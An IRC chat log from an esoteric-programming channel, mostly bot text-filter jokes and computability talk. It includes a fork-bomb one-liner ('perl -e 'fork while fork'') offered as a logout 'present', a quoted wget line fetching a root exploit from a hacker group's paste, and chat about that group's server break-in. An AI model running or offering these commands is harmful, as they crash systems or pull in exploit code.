23:59:13 <Sgeo> ehird, I don't see VioletWWW
23:59:40 <Sgeo> I wanted VioletWWW
23:59:44 <ehird> Sgeo: it was violawww, dumbo
23:59:52 <Sgeo> It's still not there
00:02:11 <ehird> psygnisfive: btw you're a mac user, get this http://www.atebits.com/scribbles/, it's awesome.
00:02:22 <ehird> even if purely from a UI design perspective
00:02:38 <ehird> psygnisfive: download the free trial.
00:02:50 <ehird> and/or pirate it :p
00:04:32 <warrie> I think it was fucked from the very beginning. Reinstalling might not unfuck it.
00:04:39 <ehird> warrie: It probably will.
00:04:49 <ehird> as a rule of thumb, either you or your hardware sucks before the software :P
00:05:13 <ehird> Just reinstall and hope for the best.
00:05:36 * warrie suddenly gets curious about how his hard drive is partitioned.
00:10:14 <GregorR> You should take it out, take it apart with a screwdriver, and inspect manually.
00:11:04 <nooga> ehird: scribbles cost $19.99
00:11:13 <nooga> too much for a stupid software
00:11:13 <ehird> nooga: what about it
00:11:58 * oerjan locks ehird in an xargs echo jail
00:13:38 <nooga> + my mouse is bad for drawing
00:13:40 <ehird> nooga: that's what you said about os x too :)
00:14:12 <nooga> moving an icon to the dust bin is so simple
00:14:53 <nooga> http://www.topcoder.com/stat?c=school_avg_rating < CTO
00:15:08 <nooga> war saw war saw war saw
00:16:36 <nooga> and my school is 36
00:16:40 <nooga> Poznan University of Technology :C
00:16:42 <ehird> !sh echo "Test" | cowsay
00:16:42 <EgoBot> /tmp/input.30982: line 1: cowsay: command not found
00:16:49 <ehird> GregorR: INSTALL COWSAY NOW
00:17:43 <oerjan> something like fmt -w500 might be better than xargs echo for EgoBot output
00:17:52 <EgoBot> /tmp/input.31102: line 1: cowsay: command not found
00:18:30 <ehird> GregorR: remove that fucking dcc shit :(
00:18:44 <oerjan> !swedish Why it's a lovely day today
00:18:47 <ehird> fuuuuuuuuuuuuuuuck yooooooooooou
00:18:50 <ehird> no other bot is so obnoxious
00:18:59 <EgoBot> Interpreter swedish deleted.
00:19:21 <oerjan> !addinterp swedish sh chef | fmt -w500
00:19:22 <EgoBot> Interpreter swedish installed.
00:19:26 <oerjan> !swedish Why it's a lovely day today
00:19:27 <EgoBot> Vhy it's a lufely dey tudey
00:19:32 <GregorR> ehird: DCC provides the best compromise of options.
00:19:47 <ehird> GregorR: it's a compromise that nobody else uses because it sucks, and one that completely shuts off many irc users.
00:19:54 <nooga> it's so swedish that even AnMaster would boil
00:20:01 <oerjan> GregorR: that got rid of the ' bug
00:20:09 <ehird> nooga: anmaster, boiling? then dying?
00:20:12 <ehird> i'll have to try this
00:20:31 <nooga> !swedish it's so swedish that even AnMaster would boil
00:20:31 <EgoBot> it's su svedeesh thet ifee UnMester vuoold bueel
00:21:15 <ehird> !swedish glorbenschnitzel
00:21:15 <GregorR> ehird: There is no purpose in doing commands with many lines of output /at all/, and fair rate-limiting gets arbitrarily complicated with more than one stream. So your choice is either DCC or no multi-line output. PERIOD.
00:21:25 <ehird> GregorR: Cow-fucking-say.
00:21:37 <ehird> GregorR: also, just have one global rate-limiter
00:21:39 <ehird> and feed everything to it
00:21:46 <ehird> that's how freenode conditions on floods
00:21:49 <GregorR> ehird: So you totally missed the "fair" part.
00:21:59 <ehird> GregorR: Command !stopit, which stops all output.
00:22:05 <ehird> Problem of abusers solved.
00:22:28 <GregorR> Egad, I'm not even having this conversation, this is too stupid. If you have a client so back-assward that you can't DCC, too fucking bad, get a not-shit client.
00:22:55 <ehird> GregorR: {not shit,works on OS X} → {LimeChat}.
00:23:05 <ehird> LimeChat supports DCC → false.
00:23:28 <GregorR> LimeChat supports DCC -> false. Conclusion: LimeChat = shit
00:23:37 <ehird> GregorR: So I have a choice of , or .
00:23:46 <ehird> Segmentation fault
00:24:02 <GregorR> You have a choice of too fucking bad I don't care about your garbage operating system or garbage client.
00:24:37 * ehird toys with the idea of causing EgoBot to flood itself off the net
00:26:30 <nooga> GregorR: cool story bro
00:31:29 <oerjan> you didn't tell it yet
00:31:34 <nooga> we take two bots that interpret same language that is able to output quine
00:31:51 <nooga> first bot is triggered with !, and the seond is triggered with ^
00:31:53 <GregorR> If by "funny" you mean "look in the logs for where that's been done", then yes :P
00:32:14 <ehird> we've done it since forever
00:32:20 <oerjan> several dates, for several different bot combinations
00:32:29 <ehird> fungot, unfortunately, now ignores other bots
00:32:29 <fungot> ehird: ummm....... uncool it online. it was an unmanned flight--thanks for doing your homework and get back by the way amanda claps =d
00:32:31 <ehird> because fizzie is a nai
00:32:57 <GregorR> EgoBot ignores nothing! :P
00:33:26 <oerjan> !echo ^ul (Are you ignoring me?)S
00:33:27 <EgoBot> ^ul (Are you ignoring me?)S
00:33:49 <GregorR> ^ul (!echo You aren't ignoring me!)S
00:33:49 <fungot> !echo You aren't ignoring me!
00:33:50 <EgoBot> You aren't ignoring me!
00:35:26 <ehird> GregorR: make two egobot instancs
00:36:38 <oerjan> ^swedish I hate canker sores
00:36:45 <oerjan> !swedish I hate canker sores
00:37:08 <nooga> a necrotic, fungal disease of apple and other trees that results in damage to the bark.
00:37:27 <oerjan> oh right, i hate that too
00:37:31 <ehird> !swedish a necrotic, fungal disease of apple and other trees that results in damage to the bark.
00:37:31 <EgoBot> a necruteec, foongel deeseese-a ooff epple-a und oozeer trees thet resoolts in demege-a tu zee berk. Bork Bork Bork!
00:37:45 <ehird> !brit a necrotic, fungal disease of apple and other trees that results in damage to the bark.
00:37:45 <EgoBot> a necrotic, right, fungal disease o' apple and uvver trees that results in damage ter the bloody bark.
00:37:48 <ehird> !brit A necrotic, fungal disease of apple and other trees that results in damage to the bark.
00:37:48 <EgoBot> A necrotic, fungal disease o' apple and uvver trees that results in damage ter the bloody bark, right?
00:38:54 <nooga> who wrotes those filters? :D
00:39:05 <EgoBot> http://google.com/search?q=gnu+talkfilters
00:39:13 <oerjan> hm wait that's only one kind of oral ulcer
00:39:27 <EgoBot> bf +++++++++++++++[>+++++++>+++++++>++++>+<<<<-]>-.++++++++++++..----.>>--.-----------..<--.++++++++..--------.<----.>--.>-.<--.<+++.--.>>+.<<++++++.>++.----.<-.>++.+++++.>++++++++++++++++.<<-.>>--.,[>[-]>[-]<<[>+>+<<-]>>>[-]++++++++[<---->-]<[[-]>+<]>-[<<[-]>+++++++[<++++++>-]<+>>[-]]<<.[-]<,]
00:39:35 * oerjan cannot say what kind it is he sometimes gets
00:40:05 <GregorR> oerjan: Canker sores are (relatively) common. If it's not canker sores, it's herpes.
00:40:17 <nooga> american <any text> -> so it's like umm, you know, umm, yea, whatever, you know, it's like, umm
00:40:20 <EgoBot> Installed user interpreters: aol austro b1ff bc bct bfbignum brit brooklyn chef chiqrsx9p choo cockney dc drawl dubya echo fudd funetak google graph gregor hello jethro kraut num ook pansy pirate plot postmodern redneck rot13 sadbf slashes swedish valspeak warez yodawg
00:40:24 <oerjan> THEN IT _MUST_ BE CANKER SORES
00:40:26 <GregorR> nooga: Yeah, they don't have that one :(
00:40:46 <ehird> !dubya The Islamic fundamentalist terrorists need countering. And I am releasing a strategy to bomb their, our, our country. Their country.
00:40:46 <EgoBot> The Islamically fundamentalist bad guys need counterin'. And I am releasin' a strategy to bomb their -- I think -- our -- I think -- our country. Stay the course! Their country. Stay the course!
00:40:59 <nooga> polish <any text> -> kurwa kurwa kurwa ja pierdole kurwa mać kurwa
00:41:11 <pikhq> nooga: That's California specifically. :p
00:41:31 <pikhq> Arabic <x> -> Durka durka, muhammed jihad.
00:41:42 <ehird> !dubya There's an old saying in Tennesse -- I know it's in Texas, probably in Tennesse -- that says: fool me once, shame on you. Fool me, you can't get fooled again.
00:41:43 <EgoBot> There's an old sayin' in Tennesse -- I know it's in Texas -- I mean -- probably in Tennesse -- that says: fool me once, shame on you. Stay the course! Fool me, you can't get fooled againify.
00:41:43 <nooga> i mean yeah, like you know what i mean, umm, it's like yeah
00:42:12 <ehird> !funetak Well that's unhelpful.
00:42:13 <EgoBot> Well that's unhelpful.
00:42:23 <ehird> !valspeak Like for like
00:42:37 <ehird> !valspeak I'm just this person who is talking about rabies, rabbits and rabbis.
00:42:37 <EgoBot> I'm just like, ya know, this person who is like, ya know, talkin' about rabies, man rabbits and rabbis.
00:42:40 <GregorR> !aol Romeo, Romeo, wherefore art thou Romeo?
00:42:41 <EgoBot> ROMEO, ROMEO, WHERE4 ART THOU ROMEO??!!
00:42:44 <ehird> 00:40 nooga: american <any text> -> so it's like umm, you know, umm, yea, whatever, you know, it's like, umm
00:42:47 <ehird> nooga: your wish has been fulfilled
00:43:13 <nooga> !pirate all your base are belong to us
00:43:14 <EgoBot> all yer base be belong t' us
00:43:21 <Asztal> !valspeak That's just your opinion.
00:43:22 <EgoBot> That's just your opinion.
00:43:40 <oerjan> !funetak What does this thing actually do I wonder
00:43:41 <EgoBot> Wut does this thing actually do I wonder
00:43:44 <EgoBot> all me pals have big guns
00:44:00 <EgoBot> Interpreter funetak deleted.
00:44:04 <ehird> !pirate We'll surely avoid scurvy if we all eat an orange. And... um... Well... ...Err... Door hinge? No, no. Guess the song's over then. Guess so. Okay, back to work. Well gee. I feel a little guilty now.
00:44:05 <EgoBot> We'll surely avoid scurvy if we all eat an orange. And... um... Well... ...Err. Hoist the mainsail!.. Door hinge? Nay, nay. Guess th' song's o'er then. Guess so. Okay, arrrr, back t' work. Well gee, and a bottle of rum! I feel a little guilty now, I'll warrant ye.
00:44:09 <oerjan> !addinterp ehird sh funetak
00:44:09 <EgoBot> Interpreter ehird installed.
00:44:20 <ehird> These filters just add shit at random intervals.
00:44:29 <nooga> !yodawg this is a test?
00:44:46 <ehird> it's unlambda in unlambda
00:44:48 <EgoBot> unlambda (sending via DCC)
00:45:12 <oerjan> http://oerjan.nvg.org/esoteric/interpreter.unl iirc
00:45:15 <nooga> !postmodern lulzify
00:45:25 <nooga> !postmodern what's this thing about?
00:45:25 <EgoBot> what's this semiotically phallic-symbol-like weapon about?
00:45:27 <ehird> !postmodern Cavities and chassises are the foundation of a modern subjective object theory that can be used to emulsify prior notions to produce new entities.
00:45:28 <EgoBot> Cavities and chassises are tted Kennedy foundation of a modern subjective object theory that deconstructed can be used to emulsify prior notions to produce postmodern entities.
00:45:40 <ehird> It puts "ted Kennedy" in the worst places.
00:46:21 <nooga> !pansy why ted kennedy?
00:46:27 <ehird> !pansy I'm a green submarine and shit is like a submarine
00:46:27 <EgoBot> I'm a green thubmarine and shit ith like a thubmarine
00:46:54 <ehird> SAY WUT YOU RETARD>
00:47:02 <ehird> !ehird fucking cows are as the in to
00:47:02 <EgoBot> faking cows are as the in to
00:47:25 <EgoBot> Installed user interpreters: aol austro b1ff bc bct bfbignum brit brooklyn chef chiqrsx9p choo cockney dc drawl dubya echo ehird fudd google graph gregor hello jethro kraut num ook pansy pirate plot postmodern redneck rot13 sadbf slashes swedish valspeak warez yodawg
00:48:06 <ehird> !redneck This is my son, and this is my sister who is also my son's mother, and this is my mother who is my daughter's mother, and this is my father who is the father of my sister's son.
00:48:06 <EgoBot> This here is muh son, an' this here is muh sister who is also muh son's momma, an' this here is muh momma who is muh daughter's momma, an' this here is muh daddy who is thuh daddy uh muh sister's son.
00:48:14 <pikhq> ... It's the *Brainfuck* rot13?
00:48:15 <nooga> !cockney Cavities and chassises are the foundation of a modern subjective object theory that can be used to emulsify prior notions to produce new entities.
00:48:15 <EgoBot> Cavities and chassises are the bleedin' foundation o' a modern subjective object theory that can be used ter emulsify prior notions ter produce new entities.
00:48:40 <GregorR> !addinterp postmodern_aoler sh postmodern | b1ff
00:48:40 <EgoBot> Interpreter postmodern_aoler installed.
00:48:45 <EgoBot> sh sed 's/þ/th/g ; s/Þ/Th/g ; s/ſ/s/g ; s/æ/ae/g ; s/Æ/Ae/g ; s/œ/oe/g ; s/Œ/Oe/g'
00:48:51 -!- bsmntbombdood_ has joined.
00:48:54 <ehird> !postmodern_aoler Cavities and chassises are the foundation of a modern subjective object theory that can be used to emulsify prior notions to produce new entities. Phallus.
00:48:55 <EgoBot> CAVITYS & CHA5515E5 R TTED KENNEDY FOUNDASHUN OF A MODERN 5UBJECT1VE OBJECT THEORY THAT DECON5TRUCTED CAN BE U5ED 2 EMULS1FY PR1OR NOSHUNS 2 PRODUCE PO5TMODERN ENTITYS!! FALLUS.
00:48:56 <GregorR> !postmodern_aoler I am an AOL user, and a proud supporter of AMERICA ONLINE.
00:48:57 <EgoBot> 1 AM AN AOL USER, & A PROUD SUPPORTER OF AMER1CA ONL1NE.
00:49:07 <GregorR> Brrf, that one didn't work.
00:49:42 <oerjan> !postmodern_aoler I am the scourge of the internet
00:49:43 <EgoBot> I AM TTED KENNEDY SCOURGE OF TTED KENNNEDY INTERNET
00:50:02 <pikhq> !postmodern_aoler I heard you like AOL so I put an AOL in your AOL.
00:50:03 <EgoBot> 1 HEERD U LIKE AOL 5O I PUT AN AOL IN TH3 PENETRATED SPAC3 OF YOU'RE AOL!!
00:50:19 <pikhq> !postmodern_aoler So you can AOL while you AOL.
00:50:19 <EgoBot> SO U CAN AOL WHIEL U AOL!!
00:50:58 <EgoBot> Installed user interpreters: aol austro b1ff bc bct bfbignum brit brooklyn chef chiqrsx9p choo cockney dc drawl dubya echo ehird fudd google graph gregor hello jethro kraut num ook pansy pirate plot postmodern postmodern_aoler redneck rot13 sadbf slashes swedish valspeak warez yodawg
00:51:04 <ehird> !fudd I'm hunting rabbits.
00:51:14 <ehird> !fudd Cavities and chassises are the foundation of a modern subjective object theory that can be used to emulsify prior notions to produce new entities. Phallus.
00:51:14 <EgoBot> Cavities and chassises awe de foundation of a modewn subjective object deowy dat can be used to emuwsify pwiow notions to pwoduce new entities. Phawwus.
00:51:16 <nooga> !wares your mother
00:51:20 <nooga> !warez your mother
00:51:30 <pikhq> !addinterp rottisiery rot13 | b1ff | rot13 | cockney | rot13 | chef | rot13
00:51:31 <EgoBot> Interpreter rottisiery installed.
00:51:43 <pikhq> !rottisiery I wonder what I'll get?
00:51:44 <EgoBot> | o1ss | ebg13 | pbpxarl | ebg13 | purs | ebg13
00:52:07 <ehird> !addinterp rottisiery sh rot13 | b1ff | rot13 | cockney | rot13 | chef | rot13
00:52:07 <EgoBot> There is already an interpreter for rottisiery!
00:52:11 <ehird> !delinterp rottisiery
00:52:12 <EgoBot> Interpreter rottisiery deleted.
00:52:13 <ehird> !addinterp rottisiery sh rot13 | b1ff | rot13 | cockney | rot13 | chef | rot13
00:52:13 <EgoBot> Interpreter rottisiery installed.
00:52:15 <EgoBot> /tmp/input.1186: line 1: rot13: command not found
00:52:17 <pikhq> !delinterp rottisiery
00:52:17 <EgoBot> Interpreter rottisiery deleted.
00:52:30 <pikhq> Install BSD games?
00:52:41 <ehird> bsdgames is like unto a flower
00:53:24 <oerjan> but probably no remorse
00:53:39 <pikhq> Who does in this day and age?
00:54:30 <oerjan> ehird: no swearing please
00:56:09 * nooga wonders about what is the Pink Floyd - Poles Apart from Division Bell
00:58:23 <oerjan> it could be worse. it could be a cancer sore.
00:58:58 <ehird> nooga: it's the song Poles Apart.
00:59:02 <ehird> from the album The Division Bell.
00:59:11 <ehird> (which isn't a floyd album, as it has no Waters)
00:59:19 * oerjan thinks nooga doesn't like poles to be apart
01:01:00 * oerjan now wonders what is the collective noun for poles
01:03:38 -!- amca has joined.
01:03:45 <oerjan> oh wait, clearly it must be "parliament of poles"
01:05:46 <ehird> oerjan: no, not ducks
01:06:20 -!- bsmntbombdood_ has quit (Read error: 110 (Connection timed out)).
01:10:30 <ehird> [[ \/ \/ \/ \/- Fuck full-disclosure
01:10:31 <ehird> - Fuck the security industry
01:10:32 <ehird> - Keep 0days private
01:10:34 <ehird> - Hack everyone you can and then hack some more]]
01:10:43 <ehird> ...kiddies that have an exploit in recent linuxes.
01:10:47 <ehird> That allow them to get root remotely.
01:10:54 <ehird> That they won't publish for obvious reasons.
01:10:58 <ehird> FUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
01:11:02 <ehird> CCCCCCCCCCCCCCCCCCCCKKKKKKKKKKKKKKKKKKK
01:13:06 <Sgeo> http://gbelo.org/greed/rbs/?level=1
01:13:48 <ehird> Sgeo: what is that
01:14:42 <Sgeo> A game, kind of
01:16:11 <warrie> Hoi polloi? Isn't that a collective noun?
01:17:11 <pikhq> ehird: Oh, bloody hell.
01:17:21 <pikhq> ehird: Any idea if iptables works?
01:17:40 * warrie looks at Sgeo's Esperanto game.
01:17:46 <Sgeo> It's not Esperanto
01:17:54 <ehird> pikhq: It got in either through ntpd, or the web server, or something else - obviously they won't tell us and the paste of astalavista.com being hacked probably has a ton of lies to set us off course.
01:18:01 <warrie> How do you explain the "belo", then?
01:18:05 <ehird> The site, fwiw: http://romeo.copyandpaste.info/
01:18:16 <warrie> Wow. What a strange little site.
01:18:26 <pikhq> FUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUCCCCCCCCCCCCCCCCCCCCCCCCK.
01:19:02 <ehird> how is that illogical
01:19:07 <ehird> they're waging war on everyone who isn't them
01:19:15 <ehird> warrie: a shitty script kiddie site
01:19:21 <ehird> stole astalavista.box.sk's name
01:19:29 <ehird> they stored passwords for their $6.66/mo forum in plaintext
01:19:39 <ehird> anyway, this group used their unreleased exploit to get root
01:19:42 <ehird> and deleted everything on it
01:19:53 <warrie> I'm guessing it's a misspelling of hastalavista.
01:19:56 <ehird> tl;dr unplug your ethernet cable for a few years.
01:20:05 <ehird> warrie: it just comes from Terminator.
01:20:36 <nooga> ehird: i enter a group in which i must remember a rule not to trust anyone in that group, if other members of a group follow that rule i cannot get trusted
01:20:55 <ehird> nooga: presumably the idea isn't to get trust in the group
01:20:57 <ehird> but everywhere else
01:21:40 <ehird> http://romeo.copyandpaste.info/txt/astalavista.txt ← i wouldn't kid around, they fucking ravaged astalavista
01:21:50 * warrie decides not to rm -rf /.
01:22:03 <warrie> I did rm -rf / once. It was pretty boring.
01:22:12 <ehird> gnu rm doesn't let you
01:22:25 <warrie> "Huh. Now I can't do anything. Okay, on to the next thing."
01:22:47 <pikhq> I see an easy solution.
01:22:55 <nooga> sometimes i leave a present before logout
01:23:01 <nooga> perl -e 'fork while fork'
01:23:15 <Sgeo> ehird, do they actually have an exploit, or are they _claiming_ they have an exploit?
01:23:22 <ehird> Sgeo: Yes they have an exploit.
01:23:26 <ehird> They used it on astalavista.com
01:23:48 <ehird> And it's a new 'sploit as astalavista was running on a recent linux
01:24:24 <pikhq> Looks like an Apache exploit.
01:24:30 <ehird> astalavista run LiteSpeed
01:24:32 <nooga> bad hackers were trendy in 90's
01:24:34 <ehird> pikhq: and remember, that paste has fakes
01:24:45 <ehird> sh-3.2$ wget http://anti.sec.labs/g0troot
01:24:45 <ehird> --13:33:37-- http://anti.sec.labs/g0troot
01:24:57 <ehird> so you shouldn't really trust the contents to be accurate wrt the exploit
01:25:21 <pikhq> I'm suspecting that it'd need some good analyists to figure out WTF they're doing.
01:27:25 <pikhq> As an aside, their HTML sucks.
01:29:09 <Sgeo> @recycle *ehird
02:16:33 -!- Slereah has quit.
02:32:38 -!- Corun has quit ("Leaving...").
02:49:58 -!- bsmntbombdood_ has joined.
03:03:41 -!- psygnisfive has quit ("Leaving...").
03:03:58 -!- coppro has quit (Remote closed the connection).
03:07:56 -!- bsmntbombdood_ has quit (Read error: 110 (Connection timed out)).
03:07:59 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
03:10:25 -!- pikhq has joined.
03:14:05 -!- GreaseMonkey has quit (Remote closed the connection).
03:36:28 -!- inurinternet has joined.
03:41:20 <Sgeo> GregorR, I found a free money giver in M*U*S*H!
03:42:06 -!- inurinternet has quit (Client Quit).
03:43:28 <Sgeo> (Well, actually, it's a broken object by Mike
03:43:38 <Sgeo> But Mike has 56003 Ducats, so
03:45:05 <Sgeo> Although if I abuse it right now, it will spam an area with a lot of people who know I know how to abuse it
03:45:12 <Sgeo> _admins_ who know this
03:46:56 -!- inurinternet has joined.
03:47:43 <oerjan> oh no, there's something inmyinternet
03:49:17 <GregorR> Somethinging your something.
03:50:49 <oerjan> oh no, not my something. anything but that!
03:53:00 -!- nooga_ has joined.
03:53:35 <warrie> I think I want to make a MUSH.
03:53:51 <GregorR> PennMUSH not MUSHy enough for you?
03:54:04 <warrie> Does PennMUSH allow random people to come in and write code?
03:54:30 <Sgeo> The free money thing's gone
03:56:42 -!- Dewio has changed nick to Dewi.
03:59:59 -!- nooga has quit (Read error: 110 (Connection timed out)).
04:24:01 -!- bsmntbombdood has joined.
04:37:20 -!- oerjan has quit ("Good night").
04:42:02 -!- psygnisfive has joined.
05:01:32 -!- GreaseMonkey has joined.
05:40:35 -!- Patashu has joined.
06:19:58 <warrie> ehird: it appears that you searched reddit for comments mentioning Nomic.
06:43:03 -!- FireFly has joined.
06:43:40 <GregorR> NOM NOM NOM GREGOR EAT BABIES
06:47:55 -!- Bthis has joined.
07:00:53 -!- Bthis has quit (Client Quit).
07:16:25 -!- Slereah has joined.
07:16:33 -!- kar8nga has joined.
07:22:54 <GregorR> I don't suppose somebody here knows how to make Enlightenment use larger font sizes?
07:40:04 -!- Sgeo has quit (Read error: 110 (Connection timed out)).
07:48:40 -!- nooga has joined.
07:49:52 <GregorR> Funny, when I make font sizes huge they look ginormous on my 16" monitor, but tiny on my .5" :P
07:52:23 -!- nooga_ has quit (Read error: 110 (Connection timed out)).
07:55:54 -!- kar8nga has quit (Remote closed the connection).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:33:25 <psygnisfive> apparently "gaol" and "gaoler" are alternative spellings to "jail" and "jailer"
08:35:03 <Deewiant> It's how I've usually spelt gaol for at least a year now... I just don't get the opportunity to use the word often :-P
08:38:09 <psygnisfive> yeah but you're in some crazy european country
08:40:47 <Deewiant> What difference does that make :-P
08:50:33 -!- ais523 has joined.
08:51:20 <psygnisfive> http://www.youtube.com/watch?v=Zoygy-8PTtU
08:53:36 -!- lereah_ has joined.
09:35:01 -!- tombom has joined.
09:39:18 <lereah_> Why does LaTeX delete the spaces between number and unit
09:40:18 <fizzie> Because in math-mode, all space you want to put in needs to be explicit.
09:40:25 <fizzie> Use something like "\ " for a reasonable space.
09:40:45 <fizzie> Or one of http://www.emerson.emory.edu/services/latex/latex_119.html
09:41:52 -!- psygnisfive has quit (Read error: 104 (Connection reset by peer)).
09:42:24 <fizzie> I also have a feeling if you put a space in the \mathrm{...} you might have there to specify units (so that it doesn't italicize them) those would be kept. But I'm not sure about that.
09:45:24 <lereah_> LaTeX tutorials are full of infos about crazy typographic rules that no one cares for
09:47:03 <Patashu> make a metalanguage for latex
10:07:04 <Deewiant> Evidently P != NP http://arxiv.org/abs/0906.1084
10:07:52 <ais523> Deewiant: comparing infinities is always a tricky business
10:08:06 <lereah_> That's so simple I could do it in my sleep
10:08:08 <ais523> I'm not entirely sure if I'd trust people spouting on about physics to get it right
10:08:33 <lereah_> Hey, I spout on about physics >:|
10:08:33 <ais523> but that is a relatively compelling argument
10:08:39 -!- Hiato has joined.
10:08:51 <ais523> lereah_: luckily, I've never needed to trust you to compare infinities correctly
10:09:44 <lereah_> Your mom is infinitely fat, but I had sex with her an infiniter number of times
10:09:57 <lereah_> At least three bonings per pounds
10:10:14 <ais523> but multiplying an infinity by 3 doesn't change it
10:10:32 <lereah_> It does when my penis is involved
10:10:53 <lereah_> Also your argument only works for some types of infinities!
10:11:02 <lereah_> It totally works with surreal numbers
10:11:17 <lereah_> Although I'm not sure if their infinities are actually ordered
10:13:01 -!- psygnisfive has joined.
10:16:10 -!- Hiato has quit (Read error: 54 (Connection reset by peer)).
10:21:05 <Patashu> are there any programming languages based apon newtonian mechanics?
10:21:19 <ais523> http://esolangs.org/wiki/Gravity
10:21:35 <Patashu> bouncing billard balls off each other and stuff
10:21:40 <Patashu> but not tile-based, continuous
10:26:06 <lereah_> ais523 : That always bugged me
10:26:13 <lereah_> How is it uncomputable exactly?
10:26:35 <ais523> lereah_: because general floating-point numbers don't fit into finite memory
10:26:53 <ais523> there's an uncountable number of real numbers
10:26:57 <ais523> but only a countable number of integers
10:27:13 <ais523> so you have to approximate the calculation
10:27:46 <lereah_> Gravity uses, at the very least, definable number
10:28:03 <lereah_> So there's a countable number of those
10:28:19 <lereah_> They might be non-computable, but I'm not too sure of that either
10:28:48 <lereah_> Comments are "Apparently Penrose proved that certain questions in gravitational systems are undecidable. Unfortunately I can't remember where I read about it.", but it's rather vague
10:29:05 <lereah_> Also "(Incidentally, even the solutions of the differential equations for a three-body gravitational system are non-computable.)", which is false
10:29:15 <lereah_> It has no analytical solution, but it's computable
10:31:15 <lereah_> That Chris Pressey fellow says that it's computable, too
10:31:30 <lereah_> Hey, it's the cat's eye dude?
10:32:52 <Patashu> there are an infinite number of masses in Gravity though
10:33:01 <Patashu> there's no general solution
10:33:16 <lereah_> Patashu : That's a poor proof of non-computability though
10:33:34 <lereah_> A Turing Machine with infinitely many filled cells is also uncomputable
10:33:46 <lereah_> At least in a general case
10:34:30 <ais523> yes, if the method by which they're filled is itself uncomputable
10:34:44 <Patashu> that statement by itself isn't proof of anything, no ;)
10:34:45 <lereah_> Most conditions on TC-ness call for at least some limitations on the filling of the memory
10:35:15 <lereah_> I guess you could see what Penrose has to say about it, but 'till then, I'm doubtful
10:35:29 -!- ais523 has quit (Read error: 60 (Operation timed out)).
10:36:46 <Patashu> is the infinite grid of masses in Gravity
10:36:50 <Patashu> 1 unit mass or 0 unit mass
10:39:01 -!- ais523 has joined.
10:39:43 <psygnisfive> "The basic configuration of space in Gravity is an infinite set of point particles of unit mass with no velocity on a regular square grid"
10:40:44 <lereah_> It's also on a discrete grid
10:40:51 <lereah_> Do they move on a continuum at least?
10:41:12 <Patashu> discrete gravity doesn't make sense
10:41:29 <lereah_> A lot of simulations use discrete grids
10:42:30 <Patashu> that wouldn't be Gravity then, that would be Approximate Gravity
10:43:01 <lereah_> Well, that still isn't gravity if it uses Newtonian gravity
10:45:14 <lereah_> At least with general relativity, you'd be able to to Gravity and Two Ducks at the same time
10:45:47 <lereah_> http://3.bp.blogspot.com/_U-4kIJCjlwU/SYqA1a91R8I/AAAAAAAAA14/h-6Ye2i5pqM/s320/teacup+duck+2.JPG
10:47:12 <lereah_> Proof for TCness of gravity would prolly be a bitch though
10:47:47 <lereah_> Do we know if it's at least TC by the way?
10:48:15 <Patashu> no brainfuck in it? fuck what are we to do
10:48:25 <Patashu> if something is uncomputable is it turing complete?
10:48:48 <Patashu> actually...if something is uncomputable, how can it still happen (e.g. in real life) ?
10:49:06 <Patashu> well I guess the universe is technically discrete
10:49:07 <lereah_> Patashu : Something uncomputable can still be at least TC
10:49:14 <lereah_> Like a Turing Machine + oracle
10:49:29 <lereah_> But it can just be uncomputable and unable to do shit
10:49:30 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!").
10:50:37 <Patashu> a programming language that can solve the twin prime conjecture and do nothing else
10:50:38 -!- ais523 has quit (Read error: 104 (Connection reset by peer)).
10:51:09 <lereah_> Well, I don't know if it's uncomputable, but I guess
10:51:31 <Patashu> integral of the riemann-zeta function or something
10:53:17 <lereah_> Solving the halting problem would totally make it TC, but I don't know about the rest, though
10:53:44 <lereah_> Are all uncomputable problems somehow transformable into the Halting Problem?
10:54:53 <Patashu> no because solving the halting problem would let you solve any problem basically
10:54:54 <lereah_> I seem to recall something about an uncomputable machine that would just churn out random numbers
10:54:59 <Patashu> while otoh you could only be able to solve one uncomputable problem
10:55:25 <lereah_> Well, infinite random numbers
10:55:39 <lereah_> Finite ones you can do the random TC thing on it
11:03:48 -!- FireFly has quit (hubbard.freenode.net irc.freenode.net).
11:03:53 -!- Corun has joined.
11:08:39 -!- FireFly has joined.
11:30:03 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 .").
11:43:45 -!- Corun has quit ("Leaving...").
11:43:48 -!- ais523 has joined.
11:55:31 -!- psygnisfive has quit (Read error: 110 (Connection timed out)).
12:14:05 -!- amca has quit ("Farewell").
12:34:56 -!- Corun has joined.
12:38:11 <lereah_> !swedish Gravity was invented by Safalra (Stephen Morley) on 4th August 2005, based on a idea from Isaac Newton. Gravity is very different from any other existing programming language. Although its behavior is well-defined and deterministic, the evolution of its space is in general non-computable, due to the nature of the differential equations that govern it.
12:38:12 <EgoBot> Grefeety ves infented by Seffelra (Stephee Murley) oon 4t Oogoost 2005, besed oon a idea frum Iseec Nootun. Grefeety is fery deefffferent frum uny oozeer ixeesting prugremmeeng lungooege-a. Elthuoogh its behefeeur is vell-deffeened und determeenistic, zee ifulooshun ooff its spece-a is in generel nun-cumpooteble-a, dooe-a tu zee netoore-a ooff zee deefffferentiel iqooeshuns thet gufern it. Bork Bork Bork!
12:41:03 <nooga> ?|=c'1+=c'1-`+"4:#Mm+c"4#Mm1 {VS} ?=c'1+:#Mm+#Mm1?=c'1-:#Mm-#Mm1
12:41:43 <ais523> !swedish Bork Bork Bork
12:53:29 <lereah_> !swedist 99 bottles of beer on the wall, 99 bottles of beer! You take one down and pass it around, 98 bottles of beer on the wall!
12:53:36 <lereah_> !swedish 99 bottles of beer on the wall, 99 bottles of beer! You take one down and pass it around, 98 bottles of beer on the wall!
12:53:37 <EgoBot> 99 buttles ooff beer oon zee vell, 99 buttles ooff beer! Yuoo teke-a oone-a doon und pess it eruoond, 98 buttles ooff beer oon zee vell! Bork Bork Bork!
13:05:19 -!- sebbu2 has joined.
13:08:06 <Deewiant> Is unsigned integer underflow well-defined in C++?
13:08:34 <ais523> signed underflow/overflow is undefined, though
13:08:38 <Deewiant> Yes, I'd expect it to do that anywhere, but it's in the standard?
